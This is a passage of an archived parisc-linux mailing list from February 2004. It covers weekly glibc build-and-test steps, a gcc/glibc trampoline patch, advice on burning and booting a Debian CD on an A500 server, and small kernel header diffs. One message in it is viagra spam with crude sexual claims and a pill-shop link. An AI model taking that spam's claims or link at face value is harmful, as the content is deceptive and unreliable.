List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 02 Feb 2004 21:06:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20761

> 
> I certainly could (from hardware and shell scripting opint of view), but
> I might need some help with all the ./configury ...
> 
> Building a toolchain isn't allways a pleasuring task, esp. if you want a
> cross-toolchain. So if interested, I'd dedicate my b132l to that job:)

How about no toolchain build, and just a glibc build with checks for
regressions in the testsuite?

I just fixed glibc so you don't have to build a cross-toolchain, or any
toolchain for the matter. So now all you need to do is:

Initially:
(1) Pull down glibc cvs.

	echo Enter "anoncvs" as the password
	cvs -z 9 -d :pserver:anoncvs@sources.redhat.com:/cvs/glibc login
	cvs -z 9 -d :pserver:anoncvs@sources.redhat.com:/cvs/glibc co libc

(2) Pull down latest patch set.

	wget http://www.parisc-linux.org/~carlos/glibc-hppa-patches-latest.tar.gz
	(Symlinked to glibc-hppa-patches-2004-02-02.tar.gz)

(3) Apply patches, watch for rejects.

	tar zxvf $FILENAME.tar.gz
	cd $SRC/libc
	# How do you gr0k for pathname from a symlinked tar.gz that
	# unpacks to something else...
	for i in `ls $PATHNAME/*`; do patch -p1 < $i; done;
	find . -name '*.rej'

(4) Jump to "Weekely: (4)"

Weekly:
(1) Reverse out patches.

	for i in `ls $PATHNAME/*`; do patch -R -p1 < $i; done;

(2) Pull down latest patch set.

	= Same as above (2)

(3) Update glibc source tree.

	cd $GLIBCSRC
	cvs up >& ../cvs-up.log

(4) Apply new patches, watch for rejects.

	= Same as above (3)

(5) Configure, make, make -k check
	
	export CC=gcc
	export CFLAGS="-O2 -g"

	$BASE/$SRC/$LIBC/configure --host=hppa-linux
	--build=hppa-linux --target=hppa-linux --prefix=/usr
	--enable-add-ons=linuxthreads --disable-tls --disable-__thread
	--enable-all-warnings >& ../configure-hppa.log

	make >& ../build-hppa.log
	make -k check >& ../check-hppa.log

(6) Watch for regresssions.

	grep 'Error' check-hppa.log >& mailout.txt
	# Mail mailout.txt to cvs.parisc-linux.org?

(7) Wait a week, then go to (1)

	# Add to your weekly cron?

Is anyone opposed to having 'grep 'Error' check.log' posted to
cvs.parisc-linux.org on a weekly basis?

Is this enough information to lend a helping hand in writing the build
script? :)

c.



From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ahmuf" <ukSwarthout@uk.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sukper viagrma
Date: Mon, 02 Feb 2004 21:32:23 -0300
Lines: 18
Approved: news@gmane.org
Message-ID: <ttbxgwib.247398800wayepbt@Ahmuftelmhmrvwi>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623169 5351 80.91.229.3 (22 Nov 2014 02:26:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: ukSwarthout@uk.tk  Mon Feb  2 19:32:28 2004
Return-Path: <ukSwarthout@uk.tk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux (pcp04503598pcs.anaprd01.md.comcast.net
	[68.50.117.123])
	by dsl2.external.hp.com (Postfix) with SMTP id 8744F48A4
	for <parisc-linux@parisc-linux.org>;
	Mon,  2 Feb 2004 19:32:27 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 03 Feb 2004 02:32:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20762

It`s fabuklous!

I took the only one pijll of Cialjs and that was such a GREAT weekend!
All the girls at the party were just punch-drunk with my potential

I have fhcked all of them THREE times but my dhck WAS able to do some more!

Cbalis- it`s COOL!!! The best weekend stuff I've ever trhied!
Haven`t you tried yet?

DO IT NkOW at 
http://www.vow-meds.com/sv/index.php?pid=genviag

crankshaft Sergei chirped designates buried reaping educates anodize decencies.
 




From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] gcc/config/pa/ftpr.c fixes for new
	TRAMPOLINE_TEMPLATE in hppa's glibc.
Date: Tue, 3 Feb 2004 00:50:45 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <20040203055045.GC11884@baldric.uwo.ca>
References: <20040131222832.GB19840@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623169 5358 80.91.229.3 (22 Nov 2014 02:26:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:09 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Mon Feb  2 22:50:21 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01A854840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 Feb 2004 22:50:20 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040203054722.QFBF435777.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Tue, 3 Feb 2004 00:47:22 -0500
Content-Disposition: inline
In-Reply-To: <20040131222832.GB19840@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (90% Sync Ratio [=========.])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Tue,
	3 Feb 2004 00:47:22 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 03 Feb 2004 05:50:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20763

> I'm not quite sure what the "-4" is intended to accomplish, I figure I
> could have prefixed the TREAMPOLINE_TEMPLATE with another jump that
> gives the right address? That still makes for an extra jump, and I'd
> rather have gcc just look in the right place first.
 
The easier fix is to change dl-machine.h to read:

    505 #define TRAMPOLINE_TEMPLATE(tramp_name, fixup_name)                     \
    506   extern void tramp_name (void);                                        \
    507   asm (                                                                 \
    508  "      .text\n"                                                        \
    509         /* FAKE bl to provide gcc's __cffc with fixup's address */      \
    510  "      bl      " #fixup_name ",%r2\n" /* Runtime address of fixup */   \
    511  "      .globl " #tramp_name "\n"                                       \
    512  "      .type " #tramp_name ",@function\n"                              \
    513   #tramp_name ":\n"                                                     \
    514         /* Save return pointer */                                       \
    515  "      stw     %r2,-20(%sp)\n"                                         \

The addition of the *fake* bl in that .text before the function allows gcc
to use the "-4" lookup to find the right 17-bit displacement towards "fixup"

The patch below *can* still go into gcc, and will speedup __cffc when running
with the new glibc.

The above changes are added into the latest glibc patches at:
http://www.parisc-linux.org/~carlos/glibc-hppa-patches-latest.tar.gz


> 2004-01-31  Carlos O'Donell  <carlos@baldric.uwo.ca>
> 
> 	* gcc/config/pa/fptr.c (__canonicalize_funcptr_for_compare): Add
> 	extra offset check for new glibc TRAMPOLINE_TEMPLATE.
> 
> Index: gcc/config/pa/fptr.c
> ===================================================================
> RCS file: /cvs/gcc/gcc/gcc/config/pa/fptr.c,v
> retrieving revision 1.2
> diff -u -p -r1.2 fptr.c
> --- gcc/config/pa/fptr.c	9 Dec 2002 19:16:14 -0000	1.2
> +++ gcc/config/pa/fptr.c	31 Jan 2004 22:18:27 -0000
> @@ -35,7 +35,7 @@ Boston, MA 02111-1307, USA.  */
>     the template should it be necessary to change the current branch
>     position.  */
>  #define NOFFSETS 2
> -static int fixup_branch_offset[NOFFSETS] = { 32, -4 };
> +static int fixup_branch_offset[NOFFSETS] = { 36, 32, -4 };
>  
>  #define GET_FIELD(X, FROM, TO) \
>    ((X) >> (31 - (TO)) & ((1 << ((TO) - (FROM) + 1)) - 1))


From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] UNable to boot the cd.
Date: Tue, 3 Feb 2004 20:13:21 +0530
Lines: 59
Approved: news@gmane.org
Message-ID: <8BF7471D09AA9B4190A9C96778BC2A1748D234@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623170 5360 80.91.229.3 (22 Nov 2014 02:26:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: asifayaz@hp.com  Tue Feb  3 07:43:25 2004
Return-Path: <asifayaz@hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zmamail05.zma.compaq.com (zmamail05.zma.compaq.com
	[161.114.64.105]) by dsl2.external.hp.com (Postfix) with ESMTP
	id 6048C4840; Tue,  3 Feb 2004 07:43:25 -0700 (MST)
Original-Received: from sgpexg11.asiapacific.cpqcorp.net
	(sgpexg11.asiapacific.cpqcorp.net [16.149.1.7])
	by zmamail05.zma.compaq.com (Postfix) with ESMTP
	id A60F713700; Tue,  3 Feb 2004 09:43:23 -0500 (EST)
Original-Received: from qcaexc02.asiapacific.cpqcorp.net ([16.180.237.27]) by
	sgpexg11.asiapacific.cpqcorp.net with Microsoft
	SMTPSVC(5.0.2195.6673); Tue, 3 Feb 2004 22:43:22 +0800
X-MIMEOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] UNable to boot the cd.
Thread-Index: AcPofy8Qndl7/W1jR/Grjhe2z2HvKwB5HDlQ
X-OriginalArrivalTime: 03 Feb 2004 14:43:22.0430 (UTC)
	FILETIME=[127CBDE0:01C3EA64]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 03 Feb 2004 14:43:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20764

Hi Grant,=20
Thanks For your Mail,=20
To start with.=20
o I Had downloaded the iso image from  =
ftp.de.debian.org/debian-cd/3.0_r0/hppa

o Used a Winxp to write a CD!!=20

o I did Search ipl from teh main menu itdid'nt  show the cdrom as an ipl =
device.=20
o I tried booting hte CD rom as well but to no luck..=20
o IT's on a A500 (9000/800/A500-44)=20

I wonder wat's wrong with my cd !!=20


Thanks & Regards=20
Asif=20





-----Original Message-----
From: Grant Grundler [mailto:grundler@parisc-linux.org]
Sent: Sunday, February 01, 2004 10:22 AM
To: AYAZ, MOHAMMED ASIF
Cc: parisc-linux@parisc-linux.org
Subject: Re: [parisc-linux] UNable to boot the cd.


On Sun, Feb 01, 2004 at 04:46:01AM +0530, AYAZ, MOHAMMED ASIF wrote:
> Hello .=20
> I have downloaded  the  iso images from
> ftp.de.debian.org/debian-cd/3.0_r0/hppa
> and made a bootable cd of the image..

Can you elaborate (give precise steps) on how you accomplished this?
The ISO images are "raw" files. ie burn them bit-for-bit to the CD.
On a linux box, use
	cdrecord -v dev=3D0,0,0 -data debian-30r0-hppa-binary-1.iso

where "0,0,0" matches the output from "cdrecord -scanbus".


> All I  did  is to search for ipl from the PDC main menu. but it
> doesnt show the cdrom as an ipl device.=20

It will show up. If you absolutely can't get this work,
start thinking about doing a bootp/net install.

> I'm testing this on a A class server !!=20

Which one? A180 or A500?
It doesn't really matter since palo is "smart" and will pick
the right kernel (32 vs 64 bit). I'm just curious.

grant


From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] UNable to boot the cd.
Date: Tue, 3 Feb 2004 17:55:18 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <400CB8A10000BBD9@ocpmta3.freegates.net>
References: <8BF7471D09AA9B4190A9C96778BC2A1748D234@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623170 5361 80.91.229.3 (22 Nov 2014 02:26:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Tue Feb  3 09:55:31 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C4A934840; Tue,  3 Feb 2004 09:55:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1Ao3pX-0000o7-00; Tue, 03 Feb 2004 17:55:19 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 3 Feb 2004 17:55:18 +0100
In-Reply-To: <8BF7471D09AA9B4190A9C96778BC2A1748D234@qcaexc02.asiapacific.cpqcorp.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 03 Feb 2004 16:55:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20765

Hi Asif,

>To start with. 
>o I Had downloaded the iso image from  ftp.de.debian.org/debian-cd/3.0_r0/hppa
>
Ok (I used successfully the same from same site recently :) )

>o Used a Winxp to write a CD!! 

I know well it as an OS is it also the name of your burning tool?
If not could you give its name and release (iirc some tools wasn't able to
do before a given release)

>o I did Search ipl from teh main menu itdid'nt  show the cdrom as an ipl
device.

severall pb are possible: 
* the most common one is that the cd was not burn with correct options (see
your cd burning tool user guide)
* your image file could be corrupted (iirc there was also a md5sums file
which allow you to check the integrity of this image) 
* the type of the cdrom drive you used to boot (is it a hp buildin?) couldn't
allow you to boot. Could boot with an hpux install CD?

>o I tried booting hte CD rom as well but to no luck.. 
>o IT's on a A500 (9000/800/A500-44) 
>
>I wonder wat's wrong with my cd !! 

hth,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] UNable to boot the cd.
Date: Tue, 3 Feb 2004 09:59:12 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20040203165912.GC7523@colo.lackof.org>
References: <8BF7471D09AA9B4190A9C96778BC2A1748D234@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623170 5364 80.91.229.3 (22 Nov 2014 02:26:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>
Original-X-From: grundler@lackof.org  Tue Feb  3 09:59:15 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC7554840
	for <parisc-linux@parisc-linux.org>;
	Tue,  3 Feb 2004 09:59:14 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6120429804A; Tue,  3 Feb 2004 09:59:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 07828-07; Tue, 3 Feb 2004 09:59:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D2A70298046; Tue,  3 Feb 2004 09:59:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <8BF7471D09AA9B4190A9C96778BC2A1748D234@qcaexc02.asiapacific.cpqcorp.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 03 Feb 2004 16:59:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20766

On Tue, Feb 03, 2004 at 08:13:21PM +0530, AYAZ, MOHAMMED ASIF wrote:
> Hi Grant, 
> Thanks For your Mail, 
> To start with. 
> o I Had downloaded the iso image from  ftp.de.debian.org/debian-cd/3.0_r0/hppa

very good

> o Used a Winxp to write a CD!! 
...
> I wonder wat's wrong with my cd !! 

Try reading documentation about "Winxp" and whatever CD SW it comes with.
I would guess it has "Easy CD Creator". Look for "raw mode" or something
like that in the documentation or help files.

IIRC, instructions on how to burn parisc CD's with CD Creator have
been posted to parisc-linux (or debian-hppa) before.

BTW, A500-44 definitely works as I have several running parisc-linux.

grant


From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Tue, 3 Feb 2004 16:53:18 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20040203215318.GB13520@baldric.uwo.ca>
References: <20040203215113.E38D0494194@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623171 5367 80.91.229.3 (22 Nov 2014 02:26:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Tue Feb  3 14:53:00 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C2EB4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Feb 2004 14:53:00 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040203214954.ZGFF435777.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 Feb 2004 16:49:54 -0500
Content-Disposition: inline
In-Reply-To: <20040203215113.E38D0494194@palinux.hppa>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (78% Sync Ratio [========..])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Tue,
	3 Feb 2004 16:49:54 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 03 Feb 2004 21:53:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20767

On Tue, Feb 03, 2004 at 02:51:13PM -0700, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	04/02/03 14:51:13
> 
> Modified files:
> 	include/linux  : compat_siginfo.h 
> 
> Log message:
> Change compat_copy_siginfo_to_user to take the true argument values of the function.
> 
> _______________________________________________
> parisc-linux-cvs mailing list
> parisc-linux-cvs@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux-cvs

This matches what I've sent upstream to akpm.

Index: include/linux/compat_siginfo.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/compat_siginfo.h,v
retrieving revision 1.2
diff -u -p -r1.2 compat_siginfo.h
--- include/linux/compat_siginfo.h      28 Jan 2004 05:12:46 -0000      1.2
+++ include/linux/compat_siginfo.h      3 Feb 2004 21:50:30 -0000
@@ -11,7 +11,8 @@
 typedef struct compat_siginfo{
 } compat_siginfo_t;
 
-static inline int compat_copy_siginfo_to_user(void *x, unsigned long y)
+static inline int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, 
+                                               struct siginfo *from)
 {
        return -1;
 }



From - Thu Nov 08 21:30:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Tue, 3 Feb 2004 18:07:35 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20040203230735.GC13520@baldric.uwo.ca>
References: <20040203230410.71952494194@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623171 5368 80.91.229.3 (22 Nov 2014 02:26:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Tue Feb  3 16:09:09 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3415F4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Feb 2004 16:09:09 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040203230411.GOM435777.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 Feb 2004 18:04:11 -0500
Content-Disposition: inline
In-Reply-To: <20040203230410.71952494194@palinux.hppa>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (78% Sync Ratio [========..])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Tue,
	3 Feb 2004 18:04:11 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 03 Feb 2004 23:09:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20768

On Tue, Feb 03, 2004 at 04:04:10PM -0700, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	04/02/03 16:04:10
> 
> Modified files:
> 	include/linux  : compat.h 
> 
> Log message:
> Personality is a bitmask, so we use personality() to extract just the base personality before checking for PER_LINUX32 e.g. A compat task
> 

This booboo would have bitten eventually.

c.

Index: include/linux/compat.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/compat.h,v
retrieving revision 1.7
retrieving revision 1.8
